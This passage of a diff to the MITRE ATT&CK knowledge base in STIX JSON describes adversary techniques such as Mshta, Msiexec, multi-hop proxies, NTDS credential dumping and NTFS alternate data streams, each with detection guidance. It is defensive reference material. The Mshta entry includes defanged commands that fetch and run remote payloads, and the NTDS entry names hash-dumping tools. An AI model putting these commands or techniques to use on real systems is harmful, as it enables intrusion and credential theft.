{ + "source_name": "FireEye Attacks Leveraging HTA", + "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html" + }, + { + "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/", + "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", + "source_name": "Airbus Security Kovter Analysis" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", + "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Mshta" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Mshta", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T23:59:00.395Z", + "created": "2020-01-23T19:32:49.557Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "x_mitre_defense_bypassed": [ + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", + "x_mitre_contributors": [ + "@ionstorm", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Ricardo Dias" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/005", + "external_id": "T1218.005", + "source_name": "mitre-attack" + }, + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + }, + { + "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", + "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.", + "source_name": "Red Canary HTA Abuse Part Deux" + }, + { + "source_name": "FireEye Attacks Leveraging HTA", + "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html" + }, + { + "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/", + "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.", + "source_name": "Airbus Security Kovter Analysis" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "url": "https://en.wikipedia.org/wiki/HTML_Application", + "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.", + "source_name": "Wikipedia HTML Application" + }, + { + "url": "https://msdn.microsoft.com/library/ms536471.aspx", + "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.", + "source_name": "MSDN HTML Applications" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", + "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Mshta" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Msiexec", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-06-07T19:57:26.824Z", + "created": "2020-01-24T14:38:49.266Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", + "x_mitre_contributors": [ + "Ziv Kaspersky, Cymptom", + "Alexandros Pappas" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/007", + "external_id": "T1218.007", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.", + "source_name": "Microsoft msiexec" + }, + { + "source_name": "LOLBAS Msiexec", + "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/" + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", + "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.", + "source_name": "TrendMicro Msiexec Feb 2018" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated", + "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.", + "source_name": "Microsoft AlwaysInstallElevated 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Multi-Stage Channels", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1104", + "external_id": "T1104", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-14T19:43:38.181Z", + "created": "2017-05-31T21:31:15.935Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-14T23:25:20.928Z", + "name": "Multi-hop Proxy", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1188", + "external_id": "T1188", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Multi-hop Proxy", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.0", + "modified": "2020-10-21T17:54:28.280Z", + "created": "2020-03-14T23:23:41.770Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", + "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. Protocols such as ICMP may be used as a transport.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1090/003", + "external_id": "T1090.003", + "source_name": "mitre-attack" + }, + { + "url": "https://en.wikipedia.org/wiki/Onion_routing", + "description": "Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.", + "source_name": "Onion Routing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Multiband Communication", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1026", + "external_id": "T1026", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_version": "1.0", + "modified": "2020-03-30T13:59:11.272Z", + "created": "2017-05-31T21:30:32.259Z", + "x_mitre_deprecated": true, + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-24T14:09:11.589Z", + "name": "Multilayer Encryption", + "created": "2017-05-31T21:31:01.315Z", + "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1079", + "external_id": "T1079", + "source_name": "mitre-attack" + }, + { + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840" + }, + { + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + }, + { + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "NTDS", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/003", + "external_id": "T1003.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Active Directory", + "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/Active_Directory" + }, + { + "source_name": "Metcalf 2015", + "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.", + "url": "http://adsecurity.org/?p=1275" + } + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-12-14T23:08:02.782Z", + "x_mitre_system_requirements": [ + "Access to Domain Controller or backup" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.", + "created": "2020-02-11T18:42:35.572Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-13T21:04:13.284Z", + "name": "NTFS File Attributes", + "created": "2017-05-31T21:31:11.147Z", + "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1096", + "external_id": "T1096", + "source_name": "mitre-attack" + }, + { + "source_name": "SpectorOps Host-Based Jul 2017", + "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", + "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea" + }, + { + "source_name": "Microsoft NTFS File Attributes Aug 2010", + "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/" + }, + { + "source_name": "Microsoft File Streams", + "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa364404" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "source_name": "Journey into IR ZeroAccess NTFS EA", + "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", + "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html" + }, + { + "source_name": "Oddvar Moe ADS1 Jan 2018", + "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/" + }, + { + "source_name": "Oddvar Moe ADS2 Apr 2018", + "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/" + }, + { + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "NTFS File Attributes", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/004", + "external_id": "T1564.004", + "source_name": "mitre-attack" + }, + { + "source_name": "SpectorOps Host-Based Jul 2017", + "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.", + "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea" + }, + { + "source_name": "Microsoft NTFS File Attributes Aug 2010", + "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/" + }, + { + "source_name": "Microsoft File Streams", + "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa364404" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "Microsoft ADS Mar 2014", + "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", + "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/" + }, + { + "source_name": "Journey into IR ZeroAccess NTFS EA", + "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.", + "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html" + }, + { + "source_name": "Oddvar Moe ADS1 Jan 2018", + "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/" + }, + { + "source_name": "Oddvar Moe ADS2 Apr 2018", + "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", + "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/" + }, + { + "source_name": "Symantec ADS May 2009", + "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.", + "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + } + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Metadata", + "File: File Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T22:46:56.308Z", + "x_mitre_system_requirements": [ + "NTFS partitioned hard drive" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe", + "Red Canary" + ], + "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)", + "created": "2020-03-13T20:33:00.009Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Native API", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Module: Module Load" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-18T21:24:30.764Z", + "created": "2017-05-31T21:31:17.472Z", + "x_mitre_remote_support": false, + "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_contributors": [ + "Gordon Long, Box, Inc., @ethicalhax", + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1106", + "external_id": "T1106", + "source_name": "mitre-attack" + }, + { + "url": "https://undocumented.ntinternals.net/", + 